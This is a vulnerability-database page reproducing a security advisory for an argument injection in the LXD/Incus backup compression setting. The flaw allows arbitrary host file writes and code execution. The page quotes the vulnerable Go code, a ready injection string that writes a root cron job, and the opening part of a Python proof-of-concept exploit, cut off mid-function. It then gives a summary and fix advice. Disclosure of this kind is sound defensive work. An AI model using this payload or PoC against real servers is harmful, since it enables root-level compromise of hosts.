What’s Vulnerable › Vulnerabilities

GHSA-fmc8-p6q7-75cc: LXD has argument injection in backup compression algorithm leading to AFW and ACE

Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4 ### Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. ### Details Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist: ```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) ``` Extra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor: ```go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile ``` With a value like: ```text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` the daemon executes the equivalent of: ```text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` ### PoC ``` python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file ``` The following was generated by an LLM model. ``` #!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC. Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source> The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """ from __future__ import annotations import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any import requests def q(value: str) -> str: return urllib.parse.quote(value, safe="") def api(base: str, endpoint: str, **params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "") def project_instance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}_{instance}" def clean_guest_path(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/") def source_path(args: argparse.Namespace) -> str: if args.source_host_path: return args.source_host_path return os.path.join( args.incus_dir, "storage-pools", args.pool, args.storage_kind, project_instance(args.project, args.instance), "rootfs", clean_guest_path(args.guest_path), ) def cron(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode() def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined] return s def check(resp: requests.Response, what: str) -> requests.Response: if resp.status_code >= 400: try: detail: Any =

Summary

LXD/Incus fails to properly validate the user-supplied backup compression algorithm, checking only the first token against an allowlist while passing extra arguments to the compressor. This argument injection allows an authenticated user to write arbitrary files on the host, potentially leading to arbitrary command execution (CVSS 9.9, critical). The flaw affects Incus and is fixed in version 0.0.0-20260630083100-c5184be310b1; it is not listed in CISA KEV. Upgrade to the fixed version, and until then restrict backup creation privileges to trusted users.

لا يتحقق LXD/Incus بشكل صحيح من خوارزمية ضغط النسخ الاحتياطي التي يقدمها المستخدم، إذ يفحص الرمز الأول فقط مقابل قائمة مسموح بها ويمرر وسائط إضافية إلى أداة الضغط. يتيح هذا الحقن في الوسائط لمستخدم مصادق عليه كتابة ملفات عشوائية على المضيف، مما قد يؤدي إلى تنفيذ أوامر عشوائية (CVSS 9.9، حرجة). تؤثر الثغرة في Incus وتُصلح في الإصدار 0.0.0-20260630083100-c5184be310b1، وهي غير مدرجة في CISA KEV. يُنصح بالترقية إلى الإصدار المُصلح، وإلى حين ذلك تقييد صلاحيات إنشاء النسخ الاحتياطي للمستخدمين الموثوقين.

Affected products

How to fix

Upgrade to a fixed version: Go Github.Com/Canonical/Lxd 0.0.0-20260630083100-c5184be310b1. Check the vendor advisory for mitigations.

References

Get alerted when GHSA-fmc8-p6q7-75cc or the next vulnerability affects your stack